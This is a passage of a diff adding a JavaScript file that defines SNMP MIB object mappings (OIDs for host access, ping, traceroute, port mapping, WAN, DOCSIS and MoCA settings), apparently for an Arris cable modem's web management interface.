+InboundTrafficLogTable.InboundTrafficLogData = new Column("InboundTrafficLogData","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.2",4); +var arInboundTrafficLogIndex=InboundTrafficLogTable.InboundTrafficLogIndex; +var arInboundTrafficLogData=InboundTrafficLogTable.InboundTrafficLogData; + +var HostAccess = new Container("HostAccess", "1.3.6.1.4.1.4115.1.20.1.1.6"); +HostAccess.HostAccessClientSeed= new Scalar("HostAccessClientSeed","1.3.6.1.4.1.4115.1.20.1.1.6.1",4,1); +HostAccess.HostCLITimeout= new Scalar("HostCLITimeout","1.3.6.1.4.1.4115.1.20.1.1.6.2",66); +HostAccess.HostAccessSSHEnable= new Scalar("HostAccessSSHEnable","1.3.6.1.4.1.4115.1.20.1.1.6.3",2); +HostAccess.HostAccessSSHPassword= new Scalar("HostAccessSSHPassword","1.3.6.1.4.1.4115.1.20.1.1.6.4",4); +HostAccess.WebAccessFreeIdx= new Scalar("WebAccessFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.6.5",2); +HostAccess.WebAccessSetting= new Scalar("WebAccessSetting","1.3.6.1.4.1.4115.1.20.1.1.6.6",2); +HostAccess.WebAccessWANACL= new Scalar("WebAccessWANACL","1.3.6.1.4.1.4115.1.20.1.1.6.8",4); +var arHostAccessClientSeed=HostAccess.HostAccessClientSeed; +var arHostCLITimeout=HostAccess.HostCLITimeout; +var arHostAccessSSHEnable=HostAccess.HostAccessSSHEnable; +var arHostAccessSSHPassword=HostAccess.HostAccessSSHPassword; +var arWebAccessFreeIdx=HostAccess.WebAccessFreeIdx; +var arWebAccessSetting=HostAccess.WebAccessSetting; +var arWebAccessWANACL=HostAccess.WebAccessWANACL; + +var WebAccessTable = new Table("WebAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.6.7"); +WebAccessTable.WebAccessIndex = new Column("WebAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.1",2); +WebAccessTable.WebAccessPage = new Column("WebAccessPage","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.2",4); +WebAccessTable.WebAccessLevel = new Column("WebAccessLevel","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.3",2); +WebAccessTable.WebAccessRowStatus = new Column("WebAccessRowStatus","1.3.6.1.4.1.4115.1.20.1.1.6.7.1.4",2); +var arWebAccessIndex=WebAccessTable.WebAccessIndex; +var arWebAccessPage=WebAccessTable.WebAccessPage; +var arWebAccessLevel=WebAccessTable.WebAccessLevel; +var arWebAccessRowStatus=WebAccessTable.WebAccessRowStatus; + +var PingMgmt = new Container("PingMgmt", "1.3.6.1.4.1.4115.1.20.1.1.7"); +PingMgmt.PingTargetAddrType= new Scalar("PingTargetAddrType","1.3.6.1.4.1.4115.1.20.1.1.7.1",2); +PingMgmt.PingTargetAddress= new Scalar("PingTargetAddress","1.3.6.1.4.1.4115.1.20.1.1.7.2",4, 1); +PingMgmt.PingNumPkts= new Scalar("PingNumPkts","1.3.6.1.4.1.4115.1.20.1.1.7.3",66); +PingMgmt.PingPktSize= new Scalar("PingPktSize","1.3.6.1.4.1.4115.1.20.1.1.7.4",66); +PingMgmt.PingInterval= new Scalar("PingInterval","1.3.6.1.4.1.4115.1.20.1.1.7.5",66); +PingMgmt.PingTimeout= new Scalar("PingTimeout","1.3.6.1.4.1.4115.1.20.1.1.7.6",2); +PingMgmt.PingVerifyReply= new Scalar("PingVerifyReply","1.3.6.1.4.1.4115.1.20.1.1.7.7",2); +PingMgmt.PingIpStackNumber= new Scalar("PingIpStackNumber","1.3.6.1.4.1.4115.1.20.1.1.7.8",2); +PingMgmt.PingStartStop= new Scalar("PingStartStop","1.3.6.1.4.1.4115.1.20.1.1.7.9",2); +PingMgmt.PingPktsSent= new Scalar("PingPktsSent","1.3.6.1.4.1.4115.1.20.1.1.7.10",65); +PingMgmt.PingRepliesReceived= new Scalar("PingRepliesReceived","1.3.6.1.4.1.4115.1.20.1.1.7.11",65); +PingMgmt.PingRepliesVerified= new Scalar("PingRepliesVerified","1.3.6.1.4.1.4115.1.20.1.1.7.12",65); +PingMgmt.PingOctetsSent= new Scalar("PingOctetsSent","1.3.6.1.4.1.4115.1.20.1.1.7.13",65); +PingMgmt.PingOctetsReceived= new Scalar("PingOctetsReceived","1.3.6.1.4.1.4115.1.20.1.1.7.14",65); +PingMgmt.PingIcmpErrors= new Scalar("PingIcmpErrors","1.3.6.1.4.1.4115.1.20.1.1.7.15",65); +PingMgmt.PingLastIcmpError= new Scalar("PingLastIcmpError","1.3.6.1.4.1.4115.1.20.1.1.7.16",66); +var arPingTargetAddrType=PingMgmt.PingTargetAddrType; +var arPingTargetAddress=PingMgmt.PingTargetAddress; +var arPingNumPkts=PingMgmt.PingNumPkts; +var arPingPktSize=PingMgmt.PingPktSize; +var arPingInterval=PingMgmt.PingInterval; +var arPingTimeout=PingMgmt.PingTimeout; +var arPingVerifyReply=PingMgmt.PingVerifyReply; +var arPingIpStackNumber=PingMgmt.PingIpStackNumber; +var arPingStartStop=PingMgmt.PingStartStop; +var arPingPktsSent=PingMgmt.PingPktsSent; +var arPingRepliesReceived=PingMgmt.PingRepliesReceived; +var arPingRepliesVerified=PingMgmt.PingRepliesVerified; +var arPingOctetsSent=PingMgmt.PingOctetsSent; +var arPingOctetsReceived=PingMgmt.PingOctetsReceived; +var arPingIcmpErrors=PingMgmt.PingIcmpErrors; +var arPingLastIcmpError=PingMgmt.PingLastIcmpError; + +var TraceRtMgmt = new Container("TraceRtMgmt", "1.3.6.1.4.1.4115.1.20.1.1.8"); +TraceRtMgmt.TraceRtTargAddrType= new Scalar("TraceRtTargAddrType","1.3.6.1.4.1.4115.1.20.1.1.8.1",2); +TraceRtMgmt.TraceRtTargetAddr= new Scalar("TraceRtTargetAddr","1.3.6.1.4.1.4115.1.20.1.1.8.2",4, 1); +TraceRtMgmt.TraceRtMaxHops= new Scalar("TraceRtMaxHops","1.3.6.1.4.1.4115.1.20.1.1.8.3",2); +TraceRtMgmt.TraceRtDataSize= new Scalar("TraceRtDataSize","1.3.6.1.4.1.4115.1.20.1.1.8.4",2); +TraceRtMgmt.TraceRtResolveHosts= new Scalar("TraceRtResolveHosts","1.3.6.1.4.1.4115.1.20.1.1.8.5",2); +TraceRtMgmt.TraceRtBasePort= new Scalar("TraceRtBasePort","1.3.6.1.4.1.4115.1.20.1.1.8.6",2); +TraceRtMgmt.TraceRtStart= new Scalar("TraceRtStart","1.3.6.1.4.1.4115.1.20.1.1.8.7",2); +TraceRtMgmt.TraceRtLog= new Scalar("TraceRtLog","1.3.6.1.4.1.4115.1.20.1.1.8.8",4); +var arTraceRtTargAddrType=TraceRtMgmt.TraceRtTargAddrType; +var arTraceRtTargetAddr=TraceRtMgmt.TraceRtTargetAddr; +var arTraceRtMaxHops=TraceRtMgmt.TraceRtMaxHops; +var arTraceRtDataSize=TraceRtMgmt.TraceRtDataSize; +var arTraceRtResolveHosts=TraceRtMgmt.TraceRtResolveHosts; +var arTraceRtBasePort=TraceRtMgmt.TraceRtBasePort; +var arTraceRtStart=TraceRtMgmt.TraceRtStart; +var arTraceRtLog=TraceRtMgmt.TraceRtLog; + +var ICtrl = new Container("ICtrl", "1.3.6.1.4.1.4115.1.20.1.1.10"); +ICtrl.ICtrlPortMapCount= new Scalar("ICtrlPortMapCount","1.3.6.1.4.1.4115.1.20.1.1.10.1",2); +var arICtrlPortMapCount=ICtrl.ICtrlPortMapCount; + +var ICtrlPortMapTable = new Table("ICtrlPortMapTable", "1.3.6.1.4.1.4115.1.20.1.1.10.2"); +ICtrlPortMapTable.ICtrlPortMapIndex = new Column("ICtrlPortMapIndex","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.1",2); +ICtrlPortMapTable.PortMapDescription = new Column("PortMapDescription","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.2",4); +ICtrlPortMapTable.PortMapInternalClientAddrType = new Column("PortMapInternalClientAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.3",2); +ICtrlPortMapTable.PortMapInternalClientAddr = new Column("PortMapInternalClientAddr","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.4",4,1); +ICtrlPortMapTable.PortMapProtocol = new Column("PortMapProtocol","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.5",2); +ICtrlPortMapTable.PortMapExternalPort = new Column("PortMapExternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.6",66); +ICtrlPortMapTable.PortMapInternalPort = new Column("PortMapInternalPort","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.7",66); +ICtrlPortMapTable.PortMapRowStatus = new Column("PortMapRowStatus","1.3.6.1.4.1.4115.1.20.1.1.10.2.1.8",2); +// scm add x 4 +ICtrlPortMapTable.PortMapInternalStartPort= new Column("PortMapInternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.9",66); +ICtrlPortMapTable.PortMapInternalEndPort= new Column("PortMapInternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.10",66); +ICtrlPortMapTable.PortMapExternalStartPort = new Column("PortMapExternalStartPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.11",66); +ICtrlPortMapTable.PortMapExternalEndPort= new Column("PortMapExternalEndPort", "1.3.6.1.4.1.4115.1.20.1.1.10.2.1.12",66); + +var arICtrlPortMapIndex=ICtrlPortMapTable.ICtrlPortMapIndex; +var arPortMapDescription=ICtrlPortMapTable.PortMapDescription; +var arPortMapInternalClientAddrType=ICtrlPortMapTable.PortMapInternalClientAddrType; +var arPortMapInternalClientAddr=ICtrlPortMapTable.PortMapInternalClientAddr; +var arPortMapProtocol=ICtrlPortMapTable.PortMapProtocol; +var arPortMapExternalPort=ICtrlPortMapTable.PortMapExternalPort; +var arPortMapInternalPort=ICtrlPortMapTable.PortMapInternalPort; +var arPortMapRowStatus=ICtrlPortMapTable.PortMapRowStatus; +var arPortMapExternalStartPort = ICtrlPortMapTable.PortMapExternalStartPort; +var arPortMapExternalEndPort= ICtrlPortMapTable.PortMapExternalEndPort; +var arPortMapInternalStartPort= ICtrlPortMapTable.PortMapInternalStartPort; +var arPortMapInternalEndPort= ICtrlPortMapTable.PortMapInternalEndPort; + + + +var ICtrlGetDeviceSettings = new Container("ICtrlGetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.3"); +ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion= new Scalar("ICtrlDeviceSettingsFWversion","1.3.6.1.4.1.4115.1.20.1.1.10.3.1",4); +var arICtrlDeviceSettingsFWversion=ICtrlGetDeviceSettings.ICtrlDeviceSettingsFWversion; + +var ICtrlIsDeviceReady = new Container("ICtrlIsDeviceReady", "1.3.6.1.4.1.4115.1.20.1.1.10.4"); +ICtrlIsDeviceReady.ICtrlDeviceStatus= new Scalar("ICtrlDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.10.4.1",2); +var arICtrlDeviceStatus=ICtrlIsDeviceReady.ICtrlDeviceStatus; + +var ICtrlReboot = new Container("ICtrlReboot", "1.3.6.1.4.1.4115.1.20.1.1.10.5"); +ICtrlReboot.ICtrlInitiateReboot= new Scalar("ICtrlInitiateReboot","1.3.6.1.4.1.4115.1.20.1.1.10.5.1",2); +var arICtrlInitiateReboot=ICtrlReboot.ICtrlInitiateReboot; + +var ICtrlSetDeviceSettings = new Container("ICtrlSetDeviceSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.6"); +ICtrlSetDeviceSettings.ICtrlSetDeviceName= new Scalar("ICtrlSetDeviceName","1.3.6.1.4.1.4115.1.20.1.1.10.6.1",4); +ICtrlSetDeviceSettings.ICtrlSetAdminPassword= new Scalar("ICtrlSetAdminPassword","1.3.6.1.4.1.4115.1.20.1.1.10.6.2",4); +var arICtrlSetDeviceName=ICtrlSetDeviceSettings.ICtrlSetDeviceName; +var arICtrlSetAdminPassword=ICtrlSetDeviceSettings.ICtrlSetAdminPassword; + +var ICtrlRouterSettings = new Container("ICtrlRouterSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.7"); +ICtrlRouterSettings.ICtrlRouterManageRemote= new Scalar("ICtrlRouterManageRemote","1.3.6.1.4.1.4115.1.20.1.1.10.7.1",2); +ICtrlRouterSettings.ICtrlRouterRemotePort= new Scalar("ICtrlRouterRemotePort","1.3.6.1.4.1.4115.1.20.1.1.10.7.2",66); +ICtrlRouterSettings.ICtrlRouterRemoteSSL= new Scalar("ICtrlRouterRemoteSSL","1.3.6.1.4.1.4115.1.20.1.1.10.7.3",2); +var arICtrlRouterManageRemote=ICtrlRouterSettings.ICtrlRouterManageRemote; +var arICtrlRouterRemotePort=ICtrlRouterSettings.ICtrlRouterRemotePort; +var arICtrlRouterRemoteSSL=ICtrlRouterSettings.ICtrlRouterRemoteSSL; + +var ICtrlWLanRadioSettings = new Container("ICtrlWLanRadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.8"); +ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress= new Scalar("ICtrlWLanRadioMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.8.1",4,1); +ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth= new Scalar("ICtrlWLanRadioChannelWidth","1.3.6.1.4.1.4115.1.20.1.1.10.8.2",66); +var arICtrlWLanRadioMacAddress=ICtrlWLanRadioSettings.ICtrlWLanRadioMacAddress; +var arICtrlWLanRadioChannelWidth=ICtrlWLanRadioSettings.ICtrlWLanRadioChannelWidth; + +var ICtrlSetBridgeConnect = new Container("ICtrlSetBridgeConnect", "1.3.6.1.4.1.4115.1.20.1.1.10.9"); +ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort= new Scalar("ICtrlSetBridgeEthernetPort","1.3.6.1.4.1.4115.1.20.1.1.10.9.1",66); +ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes= new Scalar("ICtrlSetBridgeMinutes","1.3.6.1.4.1.4115.1.20.1.1.10.9.2",66); +ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable= new Scalar("ICtrlSetBridgePermanentPort4Enable","1.3.6.1.4.1.4115.1.20.1.1.10.9.3",2); +var arICtrlSetBridgeEthernetPort=ICtrlSetBridgeConnect.ICtrlSetBridgeEthernetPort; +var arICtrlSetBridgeMinutes=ICtrlSetBridgeConnect.ICtrlSetBridgeMinutes; +var arRouterICtrlSetBridgePermanentPort4Enable=ICtrlSetBridgeConnect.ICtrlSetBridgePermanentPort4Enable; + +var ICtrlGetWanSettings = new Container("ICtrlGetWanSettings", "1.3.6.1.4.1.4115.1.20.1.1.10.10"); +ICtrlGetWanSettings.ICtrlGetWanType= new Scalar("ICtrlGetWanType","1.3.6.1.4.1.4115.1.20.1.1.10.10.2",4); +ICtrlGetWanSettings.ICtrlGetWanMTU= new Scalar("ICtrlGetWanMTU","1.3.6.1.4.1.4115.1.20.1.1.10.10.3",66); +ICtrlGetWanSettings.ICtrlGetWanPrefixLen= new Scalar("ICtrlGetWanPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.10.10.4",66); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType= new Scalar("ICtrlGetWanGatewayAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.5",2); +ICtrlGetWanSettings.ICtrlGetWanGatewayAddr= new Scalar("ICtrlGetWanGatewayAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.6",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType= new Scalar("ICtrlGetWanDNSPrimaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.7",2); +ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr= new Scalar("ICtrlGetWanDNSPrimaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.8",4,1); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType= new Scalar("ICtrlGetWanDNSSecondaryAddrType","1.3.6.1.4.1.4115.1.20.1.1.10.10.9",2); +ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr= new Scalar("ICtrlGetWanDNSSecondaryAddr","1.3.6.1.4.1.4115.1.20.1.1.10.10.10",4,1); +ICtrlGetWanSettings.ICtrlGetWanMacAddress= new Scalar("ICtrlGetWanMacAddress","1.3.6.1.4.1.4115.1.20.1.1.10.10.11",4,1); +var arICtrlGetWanType=ICtrlGetWanSettings.ICtrlGetWanType; +var arICtrlGetWanMTU=ICtrlGetWanSettings.ICtrlGetWanMTU; +var arICtrlGetWanPrefixLen=ICtrlGetWanSettings.ICtrlGetWanPrefixLen; +var arICtrlGetWanGatewayAddrType=ICtrlGetWanSettings.ICtrlGetWanGatewayAddrType; +var arICtrlGetWanGatewayAddr=ICtrlGetWanSettings.ICtrlGetWanGatewayAddr; +var arICtrlGetWanDNSPrimaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddrType; +var arICtrlGetWanDNSPrimaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSPrimaryAddr; +var arICtrlGetWanDNSSecondaryAddrType=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddrType; +var arICtrlGetWanDNSSecondaryAddr=ICtrlGetWanSettings.ICtrlGetWanDNSSecondaryAddr; +var arICtrlGetWanMacAddress=ICtrlGetWanSettings.ICtrlGetWanMacAddress; + +ICtrl.ICtrlPortMapTableEnabled= new Scalar("ICtrlPortMapTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.10.14",2); +var arICtrlPortMapTableEnabled=ICtrl.ICtrlPortMapTableEnabled; + +var mib2system = new Container("mib2system", "1.3.6.1.2.1.1"); +mib2system.sysName= new Scalar("mib2sysname","1.3.6.1.2.1.1.5",4); +mib2system.sysDescr= new Scalar("mib2sysdescr","1.3.6.1.2.1.1.1",4); +mib2system.sysTime= new Scalar("mib2systime","1.3.6.1.2.1.1.3",0x43); +mib2system.sysContact= new Scalar("mib2syscontact","1.3.6.1.2.1.1.4",4); + +var docsdevBase = new Container("docsdevBase", "1.3.6.1.2.1.69.1.1"); +docsdevBase.DateTime = new Scalar("DateTime","1.3.6.1.2.1.69.1.1.2",4,1); +docsdevBase.ResetNow = new Scalar("ResetNow","1.3.6.1.2.1.69.1.1.3",2); +docsdevBase.SerialNumber = new Scalar("SerialNumber","1.3.6.1.2.1.69.1.1.4",4); + +var docsDevSoftware = new Container("docsDevSoftware", "1.3.6.1.2.1.69.1.3"); +docsDevSoftware.CurrentVers = new Scalar("CurrentVers", "1.3.6.1.2.1.69.1.3.5",4); + +var mib2interface = new Container("mib2interface", "1.3.6.1.2.1.2"); +mib2interface.ifNumber= new Scalar("mib2interfaceNumber","1.3.6.1.2.1.2.1",2); +var mib2iftable = new Table("mib2iftable", "1.3.6.1.2.1.2.2"); +mib2iftable.ifIndex = new Column("ifIndex","1.3.6.1.2.1.2.2.1.1",2); +mib2iftable.ifDescr = new Column("ifDescr","1.3.6.1.2.1.2.2.1.2",4); +mib2iftable.ifType = new Column("ifType","1.3.6.1.2.1.2.2.1.3",2); +mib2iftable.ifMtu = new Column("ifMtu","1.3.6.1.2.1.2.2.1.4",2); +mib2iftable.ifSpeed = new Column("ifSpeed", "1.3.6.1.2.1.2.2.1.5",0x42); +mib2iftable.ifPhyAddress = new Column("ifPhyAddress","1.3.6.1.2.1.2.2.1.6",4,1); +mib2iftable.ifOperStatus = new Column("ifOperStatus","1.3.6.1.2.1.2.2.1.8",2); +// scm start +mib2iftable.ifUpTime = new Column("ifUpTime", "1.3.6.1.2.1.2.2.1.9",4,1); +// scm end + +var arrisCmDoc30Software = new Container("arrisCmDoc30Software", "1.3.6.1.4.1.4115.1.3.4.1.5"); +arrisCmDoc30Software.RegistrationState = new Scalar("arrisCmDoc30SwRegistrationState","1.3.6.1.4.1.4115.1.3.4.1.5.9",2); +var arrisCmDoc30DhcpSvrParameters = new Container("arrisCmDoc30DhcpSvrParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.2"); +arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr = new Scalar("arrisCmDoc30DhcpTimeSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.4",4,1); +arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr = new Scalar("arrisCmDoc30DhcpPrimaryDhcpServerIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.2",4,1); +arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr = new Scalar("arrisCmDoc30DhcpTftpSvrIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.2.3",4,1); +arrisCmDoc30DhcpSvrParameters.TimeOffset = new Scalar("arrisCmDoc30DhcpCmTimeOffset","1.3.6.1.4.1.4115.1.3.4.1.4.2.5",2); +arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpPrimaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.6",4,1); +arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr = new Scalar("arrisCmDoc30DhcpSecondaryTeleDhcpSvr","1.3.6.1.4.1.4115.1.3.4.1.4.2.7",4,1); +var arCmDoc30DhcpPrimaryDhcpServerIpAddr = arrisCmDoc30DhcpSvrParameters.PrimaryDhcpServerIpAddr; +var arCmDoc30DhcpTftpSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TftpSvrIpAddr; +var arCmDoc30DhcpTimeSvrIpAddr = arrisCmDoc30DhcpSvrParameters.TimeSvrIpAddr; +var arCmDoc30DhcpTimeOffset = arrisCmDoc30DhcpSvrParameters.TimeOffset; +var arCmDoc30DhcpPrimaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.PrimaryTeleDhcpSvr; +var arCmDoc30DhcpSecondaryTeleDhcpSvr = arrisCmDoc30DhcpSvrParameters.SecondaryTeleDhcpSvr; + + +var arrisCmDoc30DhcpCmParameters = new Container("arrisCmDoc30DhcpCmParameters", "1.3.6.1.4.1.4115.1.3.4.1.4.3"); +arrisCmDoc30DhcpCmParameters.CmIpAddr = new Scalar("arrisCmDoc30DhcpCmIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.2",4,1); +arrisCmDoc30DhcpCmParameters.CmSubNetMask = new Scalar("arrisCmDoc30DhcpCmSubNetMask","1.3.6.1.4.1.4115.1.3.4.1.4.3.3",4,1); +arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr = new Scalar("arrisCmDoc30DhcpCmGatewayIpAddr","1.3.6.1.4.1.4115.1.3.4.1.4.3.4",4,1); +arrisCmDoc30DhcpCmParameters.CmConfigFile = new Scalar("arrisCmDoc30DhcpCmConfigFile","1.3.6.1.4.1.4115.1.3.4.1.4.3.5",4); +var arCmDoc30DhcpCmIpAddr = arrisCmDoc30DhcpCmParameters.CmIpAddr; +var arCmDoc30DhcpCmSubNetMask = arrisCmDoc30DhcpCmParameters.CmSubNetMask; +var arCmDoc30DhcpCmGatewayIpAddr = arrisCmDoc30DhcpCmParameters.CmGatewayIpAddr; +var arCmDoc30DhcpCmConfigFile = arrisCmDoc30DhcpCmParameters.CmConfigFile; + +var arrisCmDoc30Setup = new Container("arrisCmDoc30Setup", "1.3.6.1.4.1.4115.1.3.4.1.3"); +arrisCmDoc30Setup.MddIpModeOverride = new Scalar("arrisCmDoc30SetupMddIpModeOverride","1.3.6.1.4.1.4115.1.3.4.1.3.7",2); +var arCmDoc30SetupMddIpModeOverride = arrisCmDoc30Setup.MddIpModeOverride; + +var arrisCmDoc30Base = new Container("arrisCmDoc30Base", "1.3.6.1.4.1.4115.1.3.4.1.1"); +arrisCmDoc30Base.TodStatus = new Scalar("arrisCmDoc30BaseTodStatus","1.3.6.1.4.1.4115.1.3.4.1.1.14",2); +var arCmDoc30BaseTodStatus = arrisCmDoc30Base.TodStatus; + +var docsIfDownstreamChannelTable = new Table("docsIfDownstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.1"); +docsIfDownstreamChannelTable.Frequency = new Column("docsIfDownChannelFrequency","1.3.6.1.2.1.10.127.1.1.1.1.2",2); +docsIfDownstreamChannelTable.Power = new Column("docsIfDownChannelPower","1.3.6.1.2.1.10.127.1.1.1.1.6",2); +docsIfDownstreamChannelTable.Modulation = new Column("docsIfDownChannelModulation","1.3.6.1.2.1.10.127.1.1.1.1.4",2); + +var docsIfSignalQualityTable = new Table("docsIfSignalQualityTable", "1.3.6.1.2.1.10.127.1.1.4"); +docsIfSignalQualityTable.SignalNoise = new Column("docsIfSigQSignalNoise","1.3.6.1.2.1.10.127.1.1.4.1.5",2); +docsIfSignalQualityTable.Unerroreds = new Column("docsIfSigQUnerroreds","1.3.6.1.2.1.10.127.1.1.4.1.2",0x41); +docsIfSignalQualityTable.Correcteds = new Column("docsIfSigQCorrecteds","1.3.6.1.2.1.10.127.1.1.4.1.3",0x41); +docsIfSignalQualityTable.Uncorrectables = new Column("docsIfSigQUncorrectables","1.3.6.1.2.1.10.127.1.1.4.1.4",0x41); + +var docsIfUpstreamChannelTable = new Table("docsIfUpstreamChannelTable", "1.3.6.1.2.1.10.127.1.1.2"); +docsIfUpstreamChannelTable.ChannelId = new Column("docsIfUpChannelId","1.3.6.1.2.1.10.127.1.1.2.1.1",2); +docsIfUpstreamChannelTable.Frequency = new Column("docsIfUpChannelFrequency","1.3.6.1.2.1.10.127.1.1.2.1.2",2); +docsIfUpstreamChannelTable.Status = new Column("docsIfUpChannelStatus","1.3.6.1.2.1.10.127.1.1.2.1.18",2); + +var arrisCmDoc30IfUpstreamChannelExtendedTable = new Table("arrisCmDoc30IfUpstreamChannelExtendedTable", "1.3.6.1.4.1.4115.1.3.4.1.9.2"); +arrisCmDoc30IfUpstreamChannelExtendedTable.SymbolRate = new Column("arrisCmDoc30IfUpChannelExtendedSymbolRate","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.2",2); +/* kSym/s */ +arrisCmDoc30IfUpstreamChannelExtendedTable.Modulation = new Column("arrisCmDoc30IfUpChannelExtendedModulation","1.3.6.1.4.1.4115.1.3.4.1.9.2.1.3",2); +/* 1: qpsk(1) 2: qam8(2) 3: qam16(3) 4: qam32(4) 5: qam64(5) 6: qam128(6) 7: qam256(7) 8: err(-1) */ + +var docsIf3CmStatusUsTable = new Table("docsIf3CmStatusUsTable", "1.3.6.1.4.1.4491.2.1.20.1.2"); +docsIf3CmStatusUsTable.TxPower = new Column("docsIf3CmStatusUsTxPower","1.3.6.1.4.1.4491.2.1.20.1.2.1.1",2); + +var docsIf3CmStatusTable = new Table("docsIf3CmStatusTable", "1.3.6.1.4.1.4491.2.1.20.1.1"); +docsIf3CmStatusTable.docsIf3CmStatusValue = new Column("docsIf3CmStatusValue","1.3.6.1.4.1.4491.2.1.20.1.1.1.1",2); +var ardocsIf3CmStatusValue=docsIf3CmStatusTable.docsIf3CmStatusValue; + + +// no need to load trigger +MibObjects.loaded = true; + + +// +// MoCA +// + + +var mocaIfConfigTable = new Table("mocaIfConfigTable", "1.3.6.1.4.1.31621.1.1.1.1"); +mocaIfConfigTable.mocaIfEnable = new Column("mocaIfEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.1", 2); +mocaIfConfigTable.mocaIfChannelMask = new Column("mocaIfChannelMask", "1.3.6.1.4.1.31621.1.1.1.1.1.2", 66); +mocaIfConfigTable.mocaIfPowerControl = new Column("mocaIfPowerControl", "1.3.6.1.4.1.31621.1.1.1.1.1.3", 2); +mocaIfConfigTable.mocaIfTxPowerLimit = new Column("mocaIfTxPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.4", 66); +mocaIfConfigTable.mocaIfBeaconPowerLimit = new Column("mocaIfBeaconPowerLimit", "1.3.6.1.4.1.31621.1.1.1.1.1.5", 66); +mocaIfConfigTable.mocaIfPowerControlTargetRate = new Column("mocaIfPowerControlTargetRate", "1.3.6.1.4.1.31621.1.1.1.1.1.6", 66); +mocaIfConfigTable.mocaIfPrivacyEnable = new Column("mocaIfPrivacyEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.7", 2); +mocaIfConfigTable.mocaIfPassword = new Column("mocaIfPassword", "1.3.6.1.4.1.31621.1.1.1.1.1.8", 4); +mocaIfConfigTable.mocaIfPreferredNC = new Column("mocaIfPreferredNC", "1.3.6.1.4.1.31621.1.1.1.1.1.9", 2); +mocaIfConfigTable.mocaIfAccessEnable = new Column("mocaIfAccessEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.10", 2); +mocaIfConfigTable.mocaIfPhyThreshold = new Column("mocaIfPhyThreshold", "1.3.6.1.4.1.31621.1.1.1.1.1.11", 66); +mocaIfConfigTable.mocaIfPhyThresholdEnable = new Column("mocaIfPhyThresholdEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.12", 2); +mocaIfConfigTable.mocaIfStatusChangeEnable = new Column("mocaIfStatusChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.13", 2); +mocaIfConfigTable.mocaIfNumNodesChangeEnable = new Column("mocaIfNumNodesChangeEnable", "1.3.6.1.4.1.31621.1.1.1.1.1.14", 2); +var mocaIfEnable = mocaIfConfigTable.mocaIfEnable; +var mocaIfChannelMask = mocaIfConfigTable.mocaIfChannelMask; +var mocaIfPowerControl = mocaIfConfigTable.mocaIfPowerControl; +var mocaIfTxPowerLimit = mocaIfConfigTable.mocaIfTxPowerLimit; +var mocaIfBeaconPowerLimit = mocaIfConfigTable.mocaIfBeaconPowerLimit; +var mocaIfPowerControlTargetRate = mocaIfConfigTable.mocaIfPowerControlTargetRate; +var mocaIfPrivacyEnable = mocaIfConfigTable.mocaIfPrivacyEnable; +var mocaIfPassword = mocaIfConfigTable.mocaIfPassword; +var mocaIfPreferredNC = mocaIfConfigTable.mocaIfPreferredNC; +var mocaIfAccessEnable = 